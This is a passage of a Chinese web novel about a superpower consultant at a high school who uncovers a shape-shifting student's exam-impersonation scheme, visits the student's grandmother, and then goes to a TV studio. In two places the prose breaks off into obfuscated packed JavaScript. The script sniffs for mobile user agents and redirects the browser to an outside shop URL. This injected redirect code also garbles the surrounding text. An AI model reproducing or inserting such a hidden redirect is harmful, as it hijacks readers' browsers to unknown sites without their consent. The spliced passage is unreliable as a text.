“林老师,您今天什么时候有空,咱们约个会?”教导主任到岗第一件事,就是匆匆来问林昭的早,“昨天大伙儿讨论了下,觉得这学生工作啊,还是得和您商量着办……” 温准:「你在搞什么?尽快抽时间来一趟,给个解释。」 温准:「邮件已发,记得收。」 车敏:「不是不是吧!拟态能力!?变色龙???活的?野生的?就在东璞港???」 车敏:「@林昭@林昭@林昭怎么个事快把话说清楚,你看到他变了?怎么变的?过程中有什么生理变化?反应还是重构?血样和神经递质呢?都采集了?」 解洋:「……师哥不见了」 谭之:「不见了」 车敏:「吊了胃口就跑哦!!![大怒]」 和林昭想得差不多,红点打开,信息爆炸。 除了来自校方超管局研究所的各方诘问,还有许多神通广大的媒体问候;在琳琅满目的邮件中,甚至还出现了数档访谈栏目和真人秀综艺的邀约。 然而,事多了不愁。 嘱咐几句送走教导主任,林昭起来,平等忽略掉所有消息,给自己泡了杯热巧克力。 28. 啥家庭啊 超能力作弊一案,前因后果明确,证据动机俱在。若放在往常,这会儿林昭应该已经在比着模板,编写递交给超管局的报告书了。 作弊形式是找人替考,第一嫌疑人,只能是晟华高二十七班的学生桑士桢。他拥有“拟态”能力,能够完美一比一复刻其他人的声音、形体和容貌,甚至于对方的异能,他也能够学习、模仿出来。 譬如王觊的能力“胸口碎大石”,就在桑士桢伪装的过程中,被他发挥出来,用以救助顾昐。 光量子探测仪器的监测结果证明,桑士桢模仿他人的异能力时,能力呈现的烈度量级大约落在原主能力烈度的百分之一至百分之五之间;相当于复制、还原出来一个“微缩迷你版”。 这也是他虽能接得住顾昐,却无法吃住力量,以致肋骨裂伤的原因。 这一反常的能级数据,与顾昐在学校考场中留下的超低光子残量,正好吻合。 由此可以推测,事情的起因是顾昐为争取夏令营名额,想临时抱佛脚,刷高本学期的几项绩点。他通过哔哩打人或是其他的某种方式,付费找到桑士桢做□□。 桑士桢使用拟态能力瞒天过海,骗过了虹膜、指纹等一系列的检测仪器,替顾昐完成了数场校内安排的考试。 但卷宗转到超管局后,未在超管局做过能力登记的桑士桢不愿暴露自己,顾昐只得自己前往超管局接受测验,这才露出马脚。 至于桑士桢的动机,也很容易猜。 大抵是为了钱。 调出他和顾昐之间的转账往来,就能轻松验证这个推论。 写报告书一点不难。但林昭只要交出这篇报告书,这两名涉事学生的人生,在未来很长一段时间里,想必都会变得很艰难。 顾昐国际夏令营的名额,肯定是别想了;作弊、替考情节恶劣,影响很差,学校不可能姑息。记了处分,下一步就是退学处理。 可就算他俩都被扫地出门了,这学校里,还藏着另一头到处踩人的隐形大象呢。 高曜、尤侃,以及他们的追随者构成的小集团,使用催眠手法欺凌同学,操纵小团体在校考中集体舞弊……是更恶劣的行为。 偏偏时过境迁,这些恶行没留下半点证据。学生们敬畏高曜,不想和英才生搞坏关系;老师们宠爱高曜,更看重他身后那个手眼通达的显赫门庭。 顾昐遭受的催眠、恐吓和精神控制,若真要追究起来,完全可以用“只是请他吃个饭”这种肮脏借口糊弄过去。 林昭思来想去,没招。 做不到,那就不想了。林昭决定在不搞崩甲方关系的范围内,尽可能拖时间,能拖几天拖几天。 大道至简,完美。 其他教职员工刚经历一晚的大起大落,心境跌宕,不像林昭想得开。快到中午,教导主任满面愁容来问:“小林老师,我照您说的先和大伙儿商量了,讨论一早上,实在是没主意啊……”她抬头,目光期盼,显然是放弃思考,把希望全寄托在了林昭身上。 林昭越过屏幕看她,语气轻松:“那,我也不知道怎么办了。” 教导主任:“……” 这展开不对啊! 身为呼风唤雨的主角,这时候难道不该站出来力挽狂澜吗!? 把他们都振聋发聩地喊醒了,自己却原地躺平,这合适吗! 她耿耿于怀,林昭却已关了电脑起身:“下午我有事,得出去一趟。有什么事,就给我留言吧。” “小林老师!”教导主任真急了,“您就一点儿想法都没有吗?”她不信!!! “能怎么办?”林昭顿住脚步,“做高曜的思想工作,让他自己承认作弊的事实?” 那不可能的,除非反向催眠他。教导主任猛猛摇头。 “那,通知他家长?” 当然不行了!主任继续摇头。 “给教育局递举报信,指控他恐吓同学,集体舞弊?”林昭笑道,“哔哩打人下单揍他一顿,可能还比较现实。” 告到教育局,那不就成了堂下何人状告本官?揍一顿肯定行不通的……教导主任闭了闭眼,脸色灰败难看。 林昭轻飘飘地:“所以都说了,没办法嘛。” 他抬脚欲走,刚拉开门,又被一声喊住。 “有……有办法的。”教导主任不安地搓着双手,“教育局有专门的举报信箱,三人以上联名提交举报信,会跳过前置流程,直接进入专项绿色通道……” 刚拉开一条缝的门,被林昭阖上了。 “原来这样。”他一脸恍然。 教导主任小声附和:“是啊是啊,还挺人性化的。” 林昭低头按手机,“叮咚”,转了封邮件过去:“那,能麻烦您以晟华校方名义,帮我接个工作吗?就这个晚间访谈节目。” 教导主任:“???” “还需要在学校开设一个科普讲座……规模越大越好。”林昭点着下巴想了想,“面向全体高功能学生的心理健康关爱讲座,叫这个名字如何?” 原本不行的,怎么忽然又行了?教导主任脑门上的问号更大了。但林昭说得不会有错,她只管连声应下。 “那我们下午先讨论几个方案,等您回来再对过……” 林昭斟酌一秒,道:“草原生态环境比较复杂,我去采样,不知要花多久。明天如何?” 教导主任一愣。 东璞港这里,要说沙滩海水浴那都是有的。草原?……哪有这样的地方! 趁她摸不着头脑的档口,林昭推门跑掉了。 很久以前,有位伟人讲过,所谓的斗争,就是要把敌人变得少少的,把朋友变得多多的。 林昭深以为然。 为此,他必须优先争取一位至关重要的盟友。 镜像拟态,桑士桢。 复制虹膜和指纹的天赋,能让他不留痕迹通过大部分查验身份的机器;拟态变形、异能拷贝这两项本领,在获猎证据时也能大有作为。 攻略他,让他站到超管局的这一边。拿到证词或是证物,检举高曜,胜算才会更大。 若是条件允许,林昭还想抽他十几管血,再拿穿刺针在不同部位进行一波活细胞采样…… 而后送回705,分离血浆血清,提取细胞里的活性物质。 组合不同配方,实验个几千几万次,说不定就能炮制出一小滴能让人随意改变外形的“化身药水”。 收敛着过分猖狂的想象,林昭依着学生通讯录的地址,摸到了东璞港北方的码头区,天峨角。 和鱼珠巷一个在南,一个在北,却一样都落在三环外。从晟华高中骑普通单车到这一区,路上要花费四十分钟不止。 沿途两边,修建有许多货运仓库,重卡轰隆隆驰过,路面凹凸不平,动辄泥水四溅。多层高架和立交桥纵横交错,冷不丁在哪一个路口,就被施工墙和道路围挡阻住了去路。 跟着导航走错两次以后,林昭抛下人工智障中枢,一路走一路问,终于在某座立交桥底,找到一扇锈迹斑驳的白铁门。 铁皮咣咣一敲,像台破锣,响得惊天动地。 等了半晌无人应声,林昭改换成拨电话。隔着薄薄的门,他清楚听到座机铃响。然而长音茫茫拖了十几声,仍是无人接听。 “吵死了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701089|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”旁边小卖铺的老板探头吆喝道,“你找谁?这家白天没人的!” 林昭:“我是这家孩子的老师,来家访的。他父母都不在吗?出去上班了?” “父母?这小鬼头哪有什么父母哦!”听闻老师二字,小卖铺老板稍微端正了态度,“他家搬过来统共就两个人,一个老的一个小的。两个都不爱出门,平时都待在那个洞里,也不觉得气闷,怪得很。” 林昭:“……” 学校通讯录上,赫然写着桑父是码头漕运公司的经理,桑母是家庭主妇。 结果一家三口整整齐齐,全都是桑士桢自己演的啊!? “那位老人家呢?”林昭追问,“人也不在家吗?” 小卖铺老板挠了挠头:“好像在疗养院住着吧。诶!?那疗养院还真不便宜啊,小鬼头哪里搞得来这么多钱!?学坏了!??……”他脸色一沉,苦苦钻研起来。 自己的贫穷固然令人痛苦,但邻居的暴富更加让人难以忍受。林昭见状,忙打岔道:“是奖学金。他在学校里,成绩还不错。” 不是真有钱,那敢情好。小卖铺老板拧紧的眉头徐徐松开了。林昭从他口中问明了疗养院的地址,按图索骥,正好在探视开放时间赶到。 工作日,来探望家长的年轻人寥寥无几。林昭三言两语解释了缘由,几个闲着的值班护士推推搡搡,快速选出一个代表,带他去了病房。 朝南的双人间里,一位干枯瘦小的老妪靠着垫高的厚枕上,毫无生气地望着窗外的灰天。 “桑奶奶!”小护士嘹亮地招呼,“你快看看,这是谁来看你啦!” “唷,好福气啊。”另一张病床上满面红光的老人凑趣道,“一个孙子不够,这又来一个孙子。” 林昭站在病床脚边,忽觉出一丝难言的无所适从。他没有亲人,不需要去医院探望谁,逢年过节,也不必像705的师弟师妹,要面对亲戚们无下限的刨根问底。 更何况,他在这里,本就是个外人。 枯树般的老妪有了反应。她迟缓转动皱皮耷拉的脖子,昏翳双目谛视着林昭。 她动了动干哑的唇,以气声道:“栎栎。是栎栎吗?” 林昭迷惑了:“栎栎是谁?”听着也不像桑士桢的小名啊。 “我也不知道啊?”小护士一摊手,“她总喊栎栎,对自己孙子喊,对你也喊,有时候还喊我们主治医生栎栎呢。你别当真,阿兹海默就这样……哎,总喊一个不存在的人,多可怜。” “栎栎,栎栎……”老妇人剧烈颤抖着想坐直起来,小护士赶忙上去扶她,胡言乱语地哄着:“对,桑奶奶您看,栎栎来看您啦,栎栎可好了,他可想着你呢……” 枯树枝一般的手张开,抓握住林昭的手。老妇人定睛打量林昭,眼底似有水光闪动:“栎栎,栎栎……又长高了,是不是?学习怎么样?考试难吗?有没有太累?” 林昭不知该怎么办,只能任由老妇人抓着,顺着她的意,一一给出熨帖的回答。 一轮家长里短问完,桑家奶奶凝眸望他,突然间变得无话可说。林昭想找个借口抽身,却听得老妇人另启一轮:“栎栎,又长高了。……学习怎么样?考试,难不难?……” 林昭恍然,知晓病魔已几乎快要将这位老妇人的过往吞噬至一片空白。现如今,她的生命里只余下了这个不知是谁的小孩,和这一些车轱辘转的琐碎问候。 他依言又答了一遍。老妇人频频点头,几粒水珠潸然落下,烫过他手背青白色血管。 病房门外,汹汹赶来的高个子男生顿住脚步,按着门扣,将前额抵靠在冰凉的玻璃上,无声垂落了视线。 29. 已老实 “喂。” 林昭闻声回头,见桑士桢撑着一腿,靠在病房门边,手里掐了个钥匙圈玩,满面暴风雨前的阴沉。 他穿的晟华的春季男生制服,纹着深绀青绣边的白衬衣扯开了颈下两颗扣子,细领带松松垮垮吊着,衣角凌乱半扎,包裹在鸦黑裤管里的两条腿长得惊人,硬撑起一副落拓不羁的潇洒意态。 这会儿他的脸好端端的,没卧着丑陋刀疤。林昭不想惊动刚平静睡下的桑奶奶,向他比了个出去的手势。桑士桢没有异议,两人一前一后,不吭声地往外。 也没能憋得太久。刚走过护士站,桑士桢吃了枪药似的开口:“谁让你来的?” 林昭先他一步按下电梯:“你逃课?” 桑士桢轻嗤:“和你有关系?” 电梯叮一声拉开,林昭走进去,无视像块赌气的石头硬邦邦杵在外头的桑士桢,直接按了关门键。桑士桢嘴角一抽,五指抓着电梯门掰开,两步追进,自己重重按下关门。 林昭奇道:“你的脸……” 一会儿有疤一会儿没疤的,变来变去不麻烦吗? 桑士桢:“哼。” 察觉到气氛有所缓和,林昭往深里问:“栎栎是谁?” 桑士桢:“和你有关系?” 得,打回原点。 脑前额叶作为控制、管理情绪的重要器官,要到二十五岁以后才会完全发育成熟。青少年时期情绪波动不稳,这都非常正常。林昭默默叹了口气,告诫自己作为一个成年人,务必要在这里保持耐心。 他找话题:“骨头恢复得怎么样?还痛吗?” 这回桑士桢干脆不说话了。林昭前后比对了下,意识到好声好气和桑士桢沟通,可能不大行得通。 十六七岁正是荒谬的年纪,下雨不打伞走路要插袋,抬个杠能全力以赴到撬动地球。桑士桢能凭一己之力弄出个委托APP,还充当了一群叛逆学生的精神领袖……顺着他的毛捋太没挑战感,大概率是要被无视掉的。 林昭改换策略,直接拿他当空气。 住院部大楼通往门诊部,架着一座贯通公路南北的封闭式廊桥。两侧商铺不少,林昭进了间水果店,五彩斑斓装了一袋,又委托店家帮忙扎了个大红大紫的果篮,返身不客气塞到桑士桢手中。 下一个来到药店,货架上拎下来几袋重似水泥的蛋白粉和人参黄芪饮。价格不便宜,林昭忍痛结了账,仍往桑士桢怀里丢。 最后一站到花店。四下看看,林昭挑走一捧香槟玫瑰、向日葵、康乃馨搭着橙子和柠檬等亮黄色水果的维生素C主题花束。 探望病人三件套齐活,林昭满意地拍拍手:“走。” 桑士桢不乐意了。他在花店门口站着挡道:“你特么到底想干啥?” “探病啊?”林昭道,“桑奶奶以为我是她的孩子,不巧我也没什么亲人。你人都来了,却三过病房而不入,我代你尽孝,有什么问题吗?” “你他妈……”桑士桢给他的扯淡逻辑气笑了,“你是准备气死我吧。” “应激反应没必要这么大。”林昭道,“原本打算去你家家访,可家里没人。问了邻居,才知道学校通讯录上你登记的讯息都是假的。你家没有父母,只有奶奶一个人住在疗养院里。” 他语气温和,却专挑着揭人疮疤的话说,借此仔细观察桑士桢的神情。眼看着男生面上掠过一丝窘迫神色,林昭火上倒油,继续激他:“直到见着你的奶奶,我发现连这唯一一个亲人,都可能不是你的亲人。你们长得根本不像,栎栎是谁,是她自己的孩子吗?你……” 话音未落,桑士桢突兀打断了他。 “你告诉她什么了?” 林昭不解:“什么?” “我问你和她说什么了!!”少年身形削薄,远看时不觉得有什么,逼到面前,却比林昭足足高出半头,将他整个人都压住罩在了阴影里,“就刚才那些……你告诉她多少?” 灵光一闪,林昭忽然理解到一种惊悚的可能性:“你是说——” 他本以为桑士桢是收养或者过继的,桑奶奶年纪大了罹患重病,丢失了新近的记忆,只知念叨自己以前的孩子。 但以桑士桢的反应来看,是他利用拟态能力扮演了老妇人的孩子,窃获到了一份不属于自己的亲情。 那他真正的亲人呢?都跑哪去了? “那个,咳,不好意思……”花店老板没眼看了,往林昭手里递了枝剪了刺的粉白玫瑰,“艾莎玫瑰,免费送给二位。小情侣哪有什么说不开的,赶紧和好吧。真要吵也请换个地方吵,别挡着我做生意。” 林昭:“……” 桑士桢:“……” 动静闹得不小,不少人都在往他们这探头探脑。林昭举着那枝愚蠢的玫瑰往桑士桢的领带上一插,冷声道:“别犯傻了。你奶奶那儿,我什么都没说。” 花瓣粉白渐染,似雪上涂抹过一层轻薄的口脂。桑士桢拎着这枝离了水有点焉头巴脑的玫瑰,纵身一撑翻身坐在单杠上,两条长腿犯欠地晃啊晃,夕阳下投出一道高高的影子。 “回去以后,我想来想去,怎样都想不通。”他恹恹道,“到底怎么发现的?我还以为我藏挺好。” 林昭想了想:“大胆假设,小心求证?” 桑士桢眸光一闪,警惕地抓住关键字:“你有证据?” “还不少。”林昭睨他一眼,脸上写满了“不会吧不会吧他还真觉得自己天衣无缝吧”的惊讶。 桑士桢:“。” 总感觉,被嘲笑了。 “学校里你总戴着马头套示人,所有人都被你引导,认为你戴玩偶头套是为了遮住脸上的伤疤。” “但如果扭转这个思维定势,反过来理解又如何呢?” “佩戴玩偶头套,并不是为了遮掩伤疤。你只为了让别人先入为主地认为,戴着玩偶头套的人就是桑士桢,桑士桢长着一张遍布伤痕的脸。” “听着很蠢。”桑士桢轻嗤一声,“我就有那么无聊?” 是挺无聊的……但蠢的话,倒也算不上。林昭平心静气道,“只要是戴着玩偶头套的人,就是桑士桢——在学校里建立起这样的认知,就可以很方便地掩盖住‘哔哩打人’其实不止你一个人、而是一个学生间的秘密社团的事实。单荔,王觊……社团里可能还有更多的人参与进来。但在外人眼中,他们都是十二生肖。或者更进一步说,他们都是你。” “如果我没有猜错,顾昐班级那位拥有植物异能的女班长于见霜,也是你们的一员。” “你们人数不少,其中不乏家中有背景、身怀不错异能的学生。……这个社团,远远不止表面上接委托、吓唬吓唬人这么简单吧?” 桑士桢眸色微暗,没声了。 “很能想啊。”林昭淡淡地夸了一句,“玩偶头套不仅能遮 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镜像神经元超限发展,就可能通过模拟、还原被模仿者的行为动作模式,控制身体蛋白变化,直至完全变成另一个人。 “你让所有人都认为你满脸刀疤,就是为了让大家形成固有印象,主动屏蔽掉你拥有拟态异能的可能。” “毕竟,若是一个人有能力随意改变自己的外貌,他为什么不先动手把这些惹人嫌的疤痕先抚平呢?被人害怕恐惧,难道真是件很有意思的事吗?” 桑士桢笑不出来了:“我只是——” 林昭抬眼看他,眸光定定,瞳孔深处照出他自己窘迫模样:“现在的你,还有顾昐坠楼那天早晨……这个普通的样子,才是你没有使用能力时的状态吧?” “疤痕早都脱落了。马头套是伪装,马头套下的刀疤,是你另一层伪装。” “我知道你不想承认,想质疑我一派胡言,但我们可以直接来看证据。我到晟华第一天,午后第一堂课开始后二十分钟,我在高二十七班门口的走廊上,遇到戴着马头套的你迟到进教室。” “为什么会戴着马头套?只是因为好玩,想扰乱课堂和老师吵一架吗?” “答案很简单。不久前你刚使用过拟态能力,处于能力冷却期,无法保持平时对外示人的疤痕状态。戴着玩偶头套,是为了不被人看到你真实的样貌。” “从时间上来推算,我推想你每两次变形之间,至少需要半小时来冷却。而你变过的人,也远远不止王觊这一个。” “顾昐是你,你模仿他替考。” “于见霜是你,她和单荔关系不错,你扮成她,到心理室来试探我。” “吴亚瑟是你,他开门的能力对你来说非常有用。你们社团中有人管理着话剧社,但总问别人借也不大方便。兔子玩偶服,是你拿出来的吧?” “王觊是最后一个,也是唯一一个不在你计划里的模拟对象。那天晚上你有点慌,留下了很多破绽。” “如果你还是不愿意承认……”桑士桢想说点什么岔开话题,但林昭没再给他任何辩解的机会,“我们可以来调吴亚瑟的执勤排班表,调监控定位那天中午于见霜的行动轨迹。你猜,在同一时间里,学校里会不会同时存在两个于见霜或是两个吴亚瑟?就像寻找顾昐的那一天,必然有两个王觊同时存在着——” “够了。我认输。” 桑士桢一点地面,纵身跃下,语气轻松:“要开除还是怎么样,随你吧。” 30. 求放过 这就结束了?林昭愣了愣:“……我这还没说完呢。” 他满以为桑士桢会负隅顽抗到最后,没想到只到这个地步,对方就已投子认降。 甚至从他的话语里,林昭还听出来一丝欣欣然的如释重负。 林昭扼腕,只觉得几分遗憾。 还有好多细节没弄清楚。 心理室约了单荔,她却托词病假改期,是不是桑士桢教她这么做的? 临时改动日程能破坏对方的心理预期,打消对方占据的一部分主动权;桑士桢和顾昐一直也有密切联系,想必他对超管局如何通过测谎反应取证有所耳闻。单荔在问询中没说一句假话却刻意回避了关于桑士桢和哔哩打人的关键信息,这背后是不是也有他的指点? 兔子皮套下藏着的人到底是谁?监控录像表面,这个人对晟华校园里每一处监控的位置了如指掌,一般学生可没有这个细腻心思。 “我真服了,你就别问了。”桑士桢绕来绕去,困兽似地焦躁踢着地上的碎石子,“话说在前头,那个‘滚’字和我没关系。顾昐非逼着我写的他说不写不够吓人不写就不给我打款……啊啊啊,你把那个给忘了吧,我很讲文明的,真的。” 滚? 哦,在说玻璃上水汽弥漫的“滚回去”。 林昭:“。” 他觉得这话可信度存疑,但是算了。也不是什么很重要的事。 “你要真觉得不好意思,就回答我最后一个问题吧。”林昭放软态度,提示他逃生出口方位,“特别重要的一个问题,我很需要你的亲口确认。” 桑士桢揉了两把乱翘的狼尾发,无奈道:“好吧你说。你说就是了。” “高一上半学期……”林昭语气平缓,带着试探的意味,冷不丁提起件不相干的往事,“你考到过学级第一,只差那么一点点就能拿到价值十万的优绩奖学金,对吗?” 桑士桢滞住,漆色眼瞳孔骤然瞪大了。 “你把书记揍了一顿,是因为……” 桑士桢轻声道:“不要说。” “是因为校方在核算综合素质得分后,认为你平时课业表现不佳,音美类通识课成绩只有B,”林昭无视他抗议,翻开攥在手里捂了好久的底牌,“综合评估后,他们将这笔奖学金插给了高曜。” “高一下半学期,你的开学摸底考成绩滑出学级四百名开外,被淘汰至普通班,此后再也没上去过。哔哩打人这个APP,也是那以后写的吧……”林昭抬起视线,望向远处荧光烁烁的住院部大楼,“你很需要钱。什么时候开始的?” 桑士桢沉默了会儿,颓然滑坐在林昭身旁的一架秋千上:“……你还真的什么都知道啊。” “有点恐怖。”他哂笑,“我对你一无所知,甚至都算不上认识你。你却快把我扒光了。” 他语气幽怨:“不公平。” “其实你做得很漂亮。”林昭就事论事,“最开始,我差点就错过你了。” 但,可能就是因为太能忍了。 耐得住性子隐在幕后按兵不动,全程不露面,不断改换身份,或是让其他同学出面旁敲侧击。 如果不是高曜小团体的冒进之举,林昭怀疑桑士桢能在他的玩偶服里苟到全场毕业。 一个十七岁的普通学生,真有可能做到这个地步吗? “特殊且有用的异能是不幸的。”林昭轻声复述了林君成常挂在嘴边的话,“人成为功能化的容器,天然被剥夺了普通生活的权力。” 几天后,正午。 林昭在食堂吃了午餐,提早十分钟来到晟华校门口。 学校约好的车子已在门口等着,和司机不咸不淡寒暄了几句天气,一个人高马大的男生跑着来了。他兴奋得不行,脸上又莫名不安:“咱们真的要去电视台啊?这下午的课,真能不上吗?” 林昭笑道:“主任批的假条,不能有假。” 王觊乐呵呵地高兴。他精力过剩地绕着车踱来踱去,一会儿,他扬起手来大声招呼:“这边!这里!” 绿树荫下,两个女生加快了脚步。单荔换了个轻盈许多的锁骨发,于见霜的短发也精心吹过,打理成了利索清爽的造型。两人都穿的全套制式校服,化了显眼的妆。 “……你听我说呀,镜头吃妆非常凶,电视台也不可能给咱们派什么有水平的造型师,”两人走近了,就听到单荔一副过来人的口吻,在给于见霜传道授业,“肩膀打开,挺胸,站直了。你要习惯起来,这样上镜才好看。” “换过发型了。”能抛开公主切的心理阴影,应该算是件好事吧。林昭也很高兴:“好看的。” 单荔噗嗤一笑:“好、看、的?夸人就这三个字?林老师你真的……我真的每次都要被你气死。” 于见霜反驳她:“不是啊,我就很喜欢林老师这样的,像植物,很安心。” 所有人:“???” 林昭:“。” 这帮学生聚到一起除了说点喜欢谁不喜欢谁的,就不能聊点别的更有意义的事了吗! “十二点五十九。”林昭看了眼表,“还有一分钟……” “一分钟怎样,要走吗?”肩膀忽地被人拍了下,林昭回眸,视线撞上一张线条锋锐的清俊脸庞。 是桑士桢,但又不是他平时学校里横行时那个凶狠丑陋的样子。煞气十足的刀疤仍在它们原来的位置,却淡了稍许,不再那么狰狞。 其余三个人倏然大呼小叫:“你谁啊啊啊啊啊!!!” 王觊突如其来地嫉妒:“我超你小子,竟然比我还帅,凭什么……” 单荔尤为不客气:“你做整形手术啦!” 桑士桢撇开视线,有些不好意思地吸了吸鼻子,别过脸一下拉开车门。 “走啦,到点了。” SUV开得平稳,载着四个学生和林昭一道行过春意盎然的城。今天是林昭应约去电视台录制“城市英雄”特别采访节目的日子,在他的提议下,节目组方面也一并邀请了参与到高空救援中的单荔、于见霜和王觊。桑士桢不能够抛头露面,就作为一个打杂的随行,重在参与。 “你到底怎么忽悠王觊的?”路上,王觊头一歪靠着座椅呼哧睡着了。林昭回头,打了个响指敲醒中排托着腮神游天外的桑士桢,真心诚意请他为自己答疑解惑。 在不暴露自己能力的情况下,居然能骗别人把身份出让给他,甚至一路骗到要登陆电视演播厅了,这太有本领了吧。 桑士桢转回视线,看着林昭,怔了会儿。 车行颠簸,树缝里的阳光忽明忽暗,碎光斑驳地洒落在青年扑闪的漆羽长睫,随着他的话语,一下一下轻颤着。 一只玉瓷蝴蝶拍翅旋起,盈盈掠过他心尖。 “你说什么?”他觉得自己的声音格外陌生。 “我是说,”林昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701091|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻叹口气,压低声音,“你没把你的能力告诉王觊吧?” 多一个人知道多一份隐患,哔哩打人的几个学生对桑士桢的能力到底了解到什么程度,林昭拿不准,于是他直接问本人。 “……我告诉你,你不能往外说。”男生往前靠了点,神情是不寻常的慎重认真。 林昭点头说好。就那么一眨眼的功夫,少年忽然凑近了他,黑眸如星子闪亮,高翘的鼻梁几乎快触到他的鼻尖。 ……说个话而已,有必要靠那么近? 好古怪的感觉。 隔着皮质座椅间一方狭窄的空间,清冽微苦的薄荷辛香挟卷着灼热气息骤然侵袭上来。林昭迟缓地意识到了不对劲,他不着痕迹往后挪了挪,将脸别开了些。 “我骗他的。”桑士桢不动声色,秘密地弯了唇角,“我和他说,我手里有一打特殊渠道搞来的人皮面具。” 林昭:“……” 蹩脚成这样的借口都有人信哦! 九年义务教育可算是白学了。 不论如何,能在上课的时候逃离校园,就是最棒的惊喜。一行人春游似的快快乐乐到了电视台,跟着踩点彩排了几遍,各自拿了份盒饭,在大化妆间等待开机。 闲着无聊,于见霜和单荔嘀咕两句,便携手出去走两步,想看看能不能撞大运遇到哪个偶像明星。 没几分钟,两人咚咚咚地奔回来。 “有点心!” “下午茶!!!” “走走,都去拿呀,”单荔眉开眼笑,“那家甜品店我也定过,都是低糖无糖款,很健康吃了都不会胖的!” 有白吃白喝当然不能错过,几个人晃荡晃荡地,都跟着去凑热闹。 一来一回耽误不少时间,他们快到时,开放式茶水区已经人满为患。黑压压的人头起伏汹涌,潮水尽头簇拥起一道高挑鹤立,无比璀璨夺目的身影。 微卷长发如流动的金铂滚落,似黑洞不知餍足吸收走视野中所有的光,聚拢于唯独一个焦点。 令人窒息的压迫感,伴着极致的美扑面而来。于见霜的惊呼凝固在唇边,单荔滞住不动看呆了眼,王觊扭着眉嘴巴张成O形直抽冷气,桑士桢用力猛眨两下眼,视线一转,往身后喧杂人堆里去找林昭。 黎沅落下最后一笔签名,唇角含笑,撩起眉睫,隔着人山人海,和桑士桢望向了同一个方向。 人群倏然暴起: “他在看我……他往这边看了!!!” “救命,我心脏跳得好快……” “正常点吧,人家就是随便看看,哪可能特别在看谁呢?” “就是的,有那么多人呢……” 怦。 怦怦,怦怦。 绿宝石的眼眸含情带笑,若有似无地掠扫而过。林昭表情疑惑,按了按起伏不止的左侧胸口。 心脏突然跳得很快,好像要蹦出喉咙口。 这个速率…… 早都超过每分钟120次了吧!? 这就是黎沅的辐射场状异能,费洛蒙效应的作用? 但为什么…… 不该存在的情绪被强行唤醒,就像是熬了两天两夜以后,又被人按头灌了一公升无糖黑咖啡。 一阵瑟缩的恶寒爬过脊背,胃部痉挛抽缩,林昭啪一下捂住嘴,干呕一声。 数秒钟,心跳逐渐平复。林昭松开动作,慢慢地舒了口气。 31. 人类的 镁光灯下,几个人像架上钢丝网上的烤肉,滋滋直冒油烟。 于见霜双手并拢规规矩矩放在腿上,局促得不敢多动一下,王觊嘴角抽着个难看笑容,死活放不下面部肌肉。后台化妆里宣称要在这里闪亮出道的单荔,这会儿坐得脊背笔挺,指尖却在微微颤抖,颊边也冒出了数颗生怯的汗珠。 为演出效果,林昭客随主便,换了身节目组准备的品牌高定。不规则裁剪的设计师款白衬衣掐系在腰间复古风格的宽皮带,衬得他整个人腰窄腿长。内搭黑色高领衫,领口严严实实拉到下巴尖,显出脖颈线条格外修长,禁欲气质拉满。 袖口利落挽起,露出一截清瘦腕骨。智能腕表没动他的,但表带更替成了银白色的太空金属,耳返也是同色的雪光银。 两件简洁优美的功能设备替代了饰品,除此之外再无任何赘余。锋利冰凉,暗合了人们关于天才科学家的一切美好想象。 头顶十盏太阳灯高温曝闪,林昭好似都没什么感觉。他放松着两条长腿交叠坐着,意态自若,叫人很难从他身上移开目光。 疏离散漫的气质,放在平日里是没架子好接近;到了高压环境,反成了极致的距离感。 有若山巅一抔孤雪,视线虽能相触,却遥遥不可企及。 总是不动声色,轻易剥开旁人的虚伪矫饰。但他自己呢,哪一个才是他真正的样貌? 主舞台背面,桑士桢倚着墙,有一下没一下抛高着手里沙沙作响的钥匙圈。 黎沅到访引发的小小骚乱很快风平过境,节目录制按时开机。节目组本来给他安排了观众席一个不错的位置,但台下待了会儿,桑士桢意识到这其实是档彻头彻尾的娱乐节目。主持人拿弱智当噱头,不断抛出争议问题,恨不得让到场嘉宾全都崩溃大哭……蠢到没眼看。 他的心情也不怎么美妙,从撞见黎沅那会儿开始。 想不通。整个晟华校内都在传,说林昭是超管局重金专聘来的,中央科学院的天才顾问。自三年前全球大范围异能爆发后,他协助林君成工作,提出多项假说,为当前世界的主流异能学说打下基础,战绩全网可查。 这样的人,难道也追星吗? 怎么会和身边咋咋呼呼的同学一样,被那种金钱堆砌出来的白骨皮相所惑,看傻眼到走不动道呢? ——他不知自己会错了意,将恶心作呕误读成神魂出窍,错到没边。 然而真相哪里都不在,向来什么都不当一回事的男生,没由来一阵焦躁。 化妆间白墙上嵌着的落地镜中,映出他不悦脸庞。 疤痕不知何时已褪淡下去。桑士桢张开虎口,下狠劲儿拧了把自己的脸。 最近他转变想法,想试着循序渐进以本来面貌和身边人相处。计划是托词做了疤痕修复,而后一步步消淡面上的刀疤,最终恢复到不使用能力的样子,也给自己留下心理缓冲的时间。 但,面部组织十分脆弱。即使剥离掉伪装,嘴唇、鼻骨、眼皮这些部位的刀痕也无法被祛除。 他看镜中的自己,镜中人亦回望他。 张扬肢体忽然收敛,镜中倒影落座在一张转椅之中,动作松弛,两条长腿交叠。 双手指尖交叉,随意落在膝头。 骨骼抽紧,挤压出磨牙抓脑的咔咔声响。少年窄薄而阔的身型形变收窄,松垮挂在肩骨的制式校服悄然宽大一圈。 